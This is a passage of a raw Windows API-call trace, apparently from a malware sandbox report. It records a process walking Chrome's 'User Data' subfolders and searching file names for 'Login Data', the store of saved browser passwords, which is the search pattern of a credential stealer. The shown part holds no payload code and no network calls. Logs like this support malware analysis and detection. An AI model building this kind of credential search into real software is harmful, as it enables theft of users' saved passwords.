returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" [0079.520] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*" [0079.520] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.520] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.520] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.520] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.520] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.520] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.520] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.520] LocalFree (hMem=0x6640d8) returned 0x0 [0079.520] LocalFree (hMem=0x66b738) returned 0x0 [0079.520] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.520] StrStrIA (lpFirst="First Run", lpSrch="Login Data") returned 0x0 [0079.520] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.520] StrStrIA (lpFirst="Local State", lpSrch="Login Data") returned 0x0 [0079.520] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.520] lstrcmpiA (lpString1=".", lpString2="OriginTrials") returned -1 [0079.520] lstrcmpiA (lpString1="..", lpString2="OriginTrials") returned -1 [0079.520] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.520] lstrlenA (lpString="\\") returned 1 [0079.520] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643c28 [0079.520] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" [0079.520] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.520] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.520] lstrlenA (lpString="OriginTrials") returned 12 [0079.520] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x66b738 [0079.520] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.520] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="OriginTrials" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" [0079.520] LocalFree (hMem=0x643c28) returned 0x0 [0079.521] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 67 [0079.521] lstrlenA (lpString="\\*.*") returned 4 [0079.521] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x66b940 [0079.521] lstrcpyA (in: lpString1=0x66b940, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" [0079.521] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*.*" [0079.521] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.521] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.521] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.521] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.521] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.521] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.521] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.521] LocalFree (hMem=0x66b940) returned 0x0 [0079.521] LocalFree (hMem=0x66b738) returned 0x0 [0079.521] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.521] lstrcmpiA (lpString1=".", lpString2="PepperFlash") returned -1 [0079.521] lstrcmpiA (lpString1="..", lpString2="PepperFlash") returned -1 [0079.521] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.521] lstrlenA (lpString="\\") returned 1 [0079.521] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643c28 [0079.521] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" [0079.521] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.521] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.521] lstrlenA (lpString="PepperFlash") returned 11 [0079.521] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x66b738 [0079.521] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.521] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="PepperFlash" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" [0079.521] LocalFree (hMem=0x643c28) returned 0x0 [0079.521] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 66 [0079.521] lstrlenA (lpString="\\*.*") returned 4 [0079.521] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x66b940 [0079.521] lstrcpyA (in: lpString1=0x66b940, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" [0079.522] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*.*" [0079.522] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.522] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.522] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.522] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.522] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.522] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.522] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.522] LocalFree (hMem=0x66b940) returned 0x0 [0079.522] LocalFree (hMem=0x66b738) returned 0x0 [0079.522] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.522] lstrcmpiA (lpString1=".", lpString2="pnacl") returned -1 [0079.522] lstrcmpiA (lpString1="..", lpString2="pnacl") returned -1 [0079.522] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.522] lstrlenA (lpString="\\") returned 1 [0079.522] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643c28 [0079.522] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" [0079.522] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.522] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.522] lstrlenA (lpString="pnacl") returned 5 [0079.522] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x66b738 [0079.522] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.522] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="pnacl" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" [0079.522] LocalFree (hMem=0x643c28) returned 0x0 [0079.522] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 60 [0079.522] lstrlenA (lpString="\\*.*") returned 4 [0079.522] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x66b940 [0079.522] lstrcpyA (in: lpString1=0x66b940, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" [0079.522] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*.*" [0079.522] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.523] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.523] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.523] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.523] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.523] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.523] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.525] LocalFree (hMem=0x66b940) returned 0x0 [0079.525] LocalFree (hMem=0x66b738) returned 0x0 [0079.525] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.525] lstrcmpiA (lpString1=".", lpString2="SSLErrorAssistant") returned -1 [0079.525] lstrcmpiA (lpString1="..", lpString2="SSLErrorAssistant") returned -1 [0079.525] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.525] lstrlenA (lpString="\\") returned 1 [0079.525] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643c28 [0079.525] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" [0079.525] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.525] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.525] lstrlenA (lpString="SSLErrorAssistant") returned 17 [0079.525] LocalAlloc (uFlags=0x40, uBytes=0xc9) returned 0x6640d8 [0079.525] lstrcpyA (in: lpString1=0x6640d8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.525] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="SSLErrorAssistant" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" [0079.525] LocalFree (hMem=0x643c28) returned 0x0 [0079.525] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 72 [0079.525] lstrlenA (lpString="\\*.*") returned 4 [0079.526] LocalAlloc (uFlags=0x40, uBytes=0xcd) returned 0x663a18 [0079.526] lstrcpyA (in: lpString1=0x663a18, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" [0079.526] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*" [0079.526] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.526] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.526] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.526] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.526] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.526] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.526] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.526] LocalFree (hMem=0x663a18) returned 0x0 [0079.526] LocalFree (hMem=0x6640d8) returned 0x0 [0079.526] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.526] lstrcmpiA (lpString1=".", lpString2="SwiftShader") returned -1 [0079.526] lstrcmpiA (lpString1="..", lpString2="SwiftShader") returned -1 [0079.526] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.526] lstrlenA (lpString="\\") returned 1 [0079.526] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643c28 [0079.526] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" [0079.526] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.526] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.526] lstrlenA (lpString="SwiftShader") returned 11 [0079.526] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x66b738 [0079.526] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.526] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="SwiftShader" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader" [0079.526] LocalFree (hMem=0x643c28) returned 0x0 [0079.526] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader") returned 66 [0079.526] lstrlenA (lpString="\\*.*") returned 4 [0079.526] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x66b940 [0079.526] lstrcpyA (in: lpString1=0x66b940, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader" [0079.527] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\*.*" [0079.527] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.527] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.527] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.527] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.527] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.527] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.527] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.527] LocalFree (hMem=0x66b940) returned 0x0 [0079.527] LocalFree (hMem=0x66b738) returned 0x0 [0079.527] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.527] lstrcmpiA (lpString1=".", lpString2="SwReporter") returned -1 [0079.527] lstrcmpiA (lpString1="..", lpString2="SwReporter") returned -1 [0079.527] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.527] lstrlenA (lpString="\\") returned 1 [0079.527] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643c28 [0079.527] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" [0079.527] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.527] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.527] lstrlenA (lpString="SwReporter") returned 10 [0079.527] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x66b738 [0079.527] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.527] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="SwReporter" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" [0079.527] LocalFree (hMem=0x643c28) returned 0x0 [0079.527] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 65 [0079.527] lstrlenA (lpString="\\*.*") returned 4 [0079.527] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x66b940 [0079.527] lstrcpyA (in: lpString1=0x66b940, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" [0079.527] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*.*" [0079.527] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.528] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.528] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.528] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.528] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.528] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.528] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.528] LocalFree (hMem=0x66b940) returned 0x0 [0079.528] LocalFree (hMem=0x66b738) returned 0x0 [0079.528] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.528] lstrcmpiA (lpString1=".", lpString2="WidevineCdm") returned -1 [0079.528] lstrcmpiA (lpString1="..", lpString2="WidevineCdm") returned -1 [0079.528] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.528] lstrlenA (lpString="\\") returned 1 [0079.528] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643c28 [0079.528] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" [0079.528] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.528] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.528] lstrlenA (lpString="WidevineCdm") returned 11 [0079.528] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x66b738 [0079.528] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.528] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="WidevineCdm" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" [0079.528] LocalFree (hMem=0x643c28) returned 0x0 [0079.528] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 66 [0079.528] lstrlenA (lpString="\\*.*") returned 4 [0079.528] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x66b940 [0079.528] lstrcpyA (in: lpString1=0x66b940, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") 